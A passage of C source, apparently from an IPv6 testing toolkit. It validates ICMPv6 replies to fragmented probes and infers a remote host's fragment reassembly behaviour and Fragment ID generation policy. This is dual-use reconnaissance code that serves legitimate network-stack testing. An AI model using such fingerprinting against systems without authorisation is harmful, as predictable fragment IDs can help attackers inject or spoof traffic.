pkt_ext= (struct ip6_ext *) ( (unsigned char *)pkt_ext + ((pkt_ext->ip6e_len + 1) * 8));
}
if(pkt_prev_nh == IPPROTO_ICMPV6){
pkt_icmp6_icmp6= (struct icmp6_hdr *) pkt_ext;
if( ((unsigned char *) pkt_icmp6_icmp6 + (sizeof(struct icmp6_hdr)+ sizeof(struct ip6_hdr)+ \
sizeof(struct ip6_frag)+sizeof(struct icmp6_hdr))) > pkt_end){
return 0;
}
}
else{
return 0;
}
if(pkt_fh_fh == NULL)
return 0;
/*
* We can only check the embedded ICMPv6 header if the embedded fragment is the first fragment of
* a packet
*/
if(ntohs(pkt_fh_fh->ip6f_offlg & IP6F_OFF_MASK) == 0){
if(pkt_icmp6_icmp6->icmp6_type != ICMP6_ECHO_REQUEST){
return 0;
}
if(pkt_icmp6_icmp6->icmp6_data16[0] != htons(getpid())){
return 0;
}
if(tstamp_f){
pkt_ptr= ((unsigned char *) pkt_icmp6_icmp6+ sizeof(struct icmp6_hdr));
if( *(uint32_t *) pkt_ptr != (*(uint32_t *) (pkt_ptr+sizeof(uint32_t)) ^ 0xabcdabcd)){
return 0;
}
}
}
else{
return 0;
}
break;
default:
return 0;
break;
}
/*
Check that the Source Address of the Packet is "valid"
*/
if(IN6_IS_ADDR_UNSPECIFIED(&(pkt_ipv6->ip6_src))){
return 0;
}
if(IN6_IS_ADDR_LOOPBACK(&(pkt_ipv6->ip6_src))){
return 0;
}
if(IN6_IS_ADDR_MULTICAST(&(pkt_ipv6->ip6_src))){
return 0;
}
/*
Check that that the Destination Address of the incoming packet is one
of our addresses.
*/
if(!(floodf_f && srcprefix_f) && !is_eq_in6_addr(&(idata->srcaddr), &(pkt_ipv6->ip6_dst))){
return 0;
}
return 1;
}
/*
* Function: valid_icmp6_response2()
*
* Checks whether the response to an ICMPv6 probe (for identifying the fragment reassembly policy) is valid
*/
int valid_icmp6_response2(struct iface_data *idata, struct pcap_pkthdr *pkthdr, const u_char *pktdata, unsigned int minsize){
struct ether_header *pkt_ether;
struct ip6_hdr *pkt_ipv6, *pkt_ipv6_ipv6;
struct ip6_ext *pkt_ext;
struct icmp6_hdr *pkt_icmp6, *pkt_icmp6_icmp6;
struct ip6_frag *pkt_fh_fh;
unsigned char *pkt_end;
uint8_t pkt_prev_nh;
pkt_ether = (struct ether_header *) pktdata;
pkt_ipv6 = (struct ip6_hdr *)((char *) pkt_ether + idata->linkhsize);
pkt_icmp6 = (struct icmp6_hdr *) ((char *) pkt_ipv6 + MIN_IPV6_HLEN);
pkt_end = (unsigned char *) pktdata + pkthdr->caplen;
/* The packet length is the minimum of what we capured, and what is specified in the
IPv6 Total Lenght field
*/
if( pkt_end > ((unsigned char *)pkt_icmp6 + pkt_ipv6->ip6_plen) )
pkt_end = (unsigned char *)pkt_icmp6 + pkt_ipv6->ip6_plen;
switch(pkt_icmp6->icmp6_type){
case ICMP6_ECHO_REPLY:
/*
Discard the packet if it is not of the minimum size to contain an ICMPv6
header and the payload we included in the ICMPv6 Echo Request
*/
if( (pkt_end - (unsigned char *) pkt_ipv6) < minsize && (pkt_end - (unsigned char *) pkt_ipv6) < MIN_IPV6_MTU){
return 0;
}
/* Check that the ICMPv6 checksum is correct */
if(in_chksum(pkt_ipv6, pkt_icmp6, pkt_end-((unsigned char *)pkt_icmp6), IPPROTO_ICMPV6) != 0){
return 0;
}
if(pkt_icmp6->icmp6_data16[0] != htons(getpid())){
return 0;
}
break;
case ICMP6_TIME_EXCEEDED:
/*
Discard the packet if it is not of the minimum size to contain an ICMPv6
header and the payload we included in the ICMPv6 Echo Request
*/
if( (pkt_end - (unsigned char *) pkt_ipv6) < minsize \
&& (pkt_end - (unsigned char *) pkt_ipv6) < MIN_IPV6_MTU){
return 0;
}
pkt_ipv6_ipv6= (struct ip6_hdr *) ((unsigned char *)pkt_icmp6+ sizeof(struct icmp6_hdr));
pkt_fh_fh= NULL;
pkt_ext= (struct ip6_ext *) ((unsigned char *)pkt_ipv6_ipv6 + sizeof(struct ip6_hdr));
pkt_prev_nh= (pkt_ipv6_ipv6->ip6_nxt);
while(pkt_prev_nh != IPPROTO_ICMPV6 && \
( (unsigned char *)pkt_ext + (pkt_ext->ip6e_len * 8 + 1)) < pkt_end){
if(pkt_prev_nh == IPPROTO_FRAGMENT)
pkt_fh_fh= (struct ip6_frag *) pkt_ext;
pkt_prev_nh= pkt_ext->ip6e_nxt;
pkt_ext= (struct ip6_ext *) ( (unsigned char *)pkt_ext + ((pkt_ext->ip6e_len + 1) * 8));
}
if(pkt_prev_nh == IPPROTO_ICMPV6){
pkt_icmp6_icmp6= (struct icmp6_hdr *) pkt_ext;
if( ((unsigned char *) pkt_icmp6_icmp6 + (sizeof(struct icmp6_hdr)+ sizeof(struct ip6_hdr)+ \
sizeof(struct ip6_frag)+sizeof(struct icmp6_hdr))) > pkt_end){
return 0;
}
}
else{
return 0;
}
if(pkt_fh_fh == NULL){
return 0;
}
/*
* We can only check the embedded ICMPv6 header if the embedded fragment is the first fragment of
* a packet
*/
if(ntohs(pkt_fh_fh->ip6f_offlg & IP6F_OFF_MASK) == 0){
if(pkt_icmp6_icmp6->icmp6_type != ICMP6_ECHO_REQUEST){
return 0;
}
if(pkt_icmp6_icmp6->icmp6_data16[0] != htons(getpid())){
return 0;
}
}
else{
return 0;
}
break;
default:
return 0;
break;
}
/*
Check that the Source Address of the Packet is "valid"
*/
if(IN6_IS_ADDR_UNSPECIFIED(&(pkt_ipv6->ip6_src))){
return 0;
}
if(IN6_IS_ADDR_LOOPBACK(&(pkt_ipv6->ip6_src))){
return 0;
}
if(IN6_IS_ADDR_MULTICAST(&(pkt_ipv6->ip6_src))){
return 0;
}
/*
Check that that the Destination Address of the incoming packet is one
of our addresses.
*/
if(!(floodf_f && srcprefix_f) && !is_eq_in6_addr(&(idata->srcaddr), &(pkt_ipv6->ip6_dst))){
return 0;
}
return 1;
}
/*
* Function: test_frag_pattern()
*
* Check whether a specific pattern is present in a portion of an IPv6 fragment
*/
int test_frag_pattern(unsigned char *ptr, unsigned int size, char *block){
unsigned int i;
for(i=0; i<size/FRAG_BLOCK_SIZE; i++){
if(memcmp(ptr, block, FRAG_BLOCK_SIZE) != 0)
return(0);
}
return(1);
}
/*
* Function: predict_frag_id()
*
* Identifies and prints the Fragment Identification generation policy
*/
int predict_frag_id(uint32_t *s1, unsigned int n1, uint32_t *s2, unsigned int n2){
uint32_t diff1_avg, diff2_avg;
double diff1_sdev, diff2_sdev;
if(inc_sdev(s1, n1, &diff1_avg, &diff1_sdev) == -1){
if(verbose_f)
puts("Error while allocating memory in inc_sdev()");
return(-1);
}
if(inc_sdev(s2, n2, &diff2_avg, &diff2_sdev) == -1){
if(verbose_f)
puts("Error while allocating memory in inc_sdev()");
return(-1);
}
if(diff1_sdev <= 10){
if(diff2_sdev <= 10){
printf("Fragment ID policy: Global IDs with increments of %u (sdev: %f)\n", diff1_avg, diff1_sdev);
}
else{
printf("Fragment ID policy: Per-destination IDs with increments of %u (sdev: %f)\n", diff1_avg, diff1_sdev);
}
}
else{
printf("Fragment ID policy: Randomized IDs (Avg. inc.: %u, sdev: %f)\n", diff1_avg, diff1_sdev);
}
return(0);
}
|